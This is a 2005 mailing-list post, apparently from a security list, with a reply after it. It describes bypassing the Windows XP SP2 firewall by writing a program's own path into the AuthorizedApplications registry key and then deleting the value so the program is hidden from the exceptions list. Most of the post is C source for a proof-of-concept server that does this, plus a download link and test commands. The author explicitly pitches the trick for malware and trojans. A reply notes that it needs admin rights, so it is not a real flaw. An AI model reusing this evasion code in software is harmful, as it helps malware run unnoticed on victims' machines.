anti Windows XP SP2 firewall trick

[crusoe@alexandria.cc]

1.9.2005
Mark Kica
crusoe@alexandria.cc
FEI AI Technical University Kosice
#Dedicated to Katka H. from Levoca



How to avoid of detection of server application on Windows XP SP2 firewall

################################################## #############################
#Q:How safe is Windows XP SP2 firewall ?
#A:Not very...

This trick use only modification of registry keys.Windows Xp SP2 firewall have
list of allowed program in register which are not blocked.If you add new key
to it,your server (malware or trojane) can run freely.

also server can be invisible in following list

start->control panel->windows firewall->exceptions


It will become invisible from this list because after you create socket,you can remove registry string value of your server and connection wont be aborted

Other way how to bypass SP2 firewall ,is to create trojan not as server,but
as client.

################################################## ################

http://taekwondo-itf.szm.sk/bugg.zip

Test :

#c:\bugg.exe Server running on port 2001

connect to server with :

#telnet localhost 2001



################################################## ################

Our Registry path is

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess\Parameters\FirewallPolicy\Standard Profile\AuthorizedApplications\List


and there you can create string value

Value name Value

C:\chat.exe ........ C:\chat.exe:*:Enabled:chat


NO SPACES!!! in key name etc. _C:\chat.exe___

################################################## ###############
Tested on Windows XP 2005 center media edition with integrated SP2

Source code
(server use ezsocket lib)

#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"

int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];

HKEY hKey;
int i;

GetModuleFileName(NULL, filename, 1024);

strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");

RegOpenKeyEx(

HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\ \Parameters\\FirewallPolicy\\StandardProfile\\Auth orizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);

RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;

fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");


sleep(3);

if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;


for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
fprintf(stdout, "Sended: Hello World\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

if (!strcmp(buffer, "quit"))
break;
}


ezsocket_exit();
return 0;
}

[Ansgar -59cobalt- Wiechers]

On 2005-09-07 crusoe@alexandria.cc wrote:
[...]
> #c:\bugg.exe Server running on port 2001
>
> connect to server with :
>
> #telnet localhost 2001
[...]
> Our Registry path is
>
> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess\Parameters\FirewallPolicy\Standard Profile\AuthorizedApplications\List
>
> and there you can create string value
>
> Value name Value
>
> C:\chat.exe ........ C:\chat.exe:*:Enabled:chat

Being able to create that value means that you have admin privileges on
that box, thus you can do whatever you want anyway (including completely
shutting down the Windows-Firewall). So this is by no means a trick or
flaw, but simply expected behaviour.

Regards
Ansgar Wiechers
--
"Another option [for defragmentation] is to back up your important files,
erase the hard disk, then reinstall Mac OS X and your backed up files."
--http://docs.info.apple.com/article.html?artnum=25668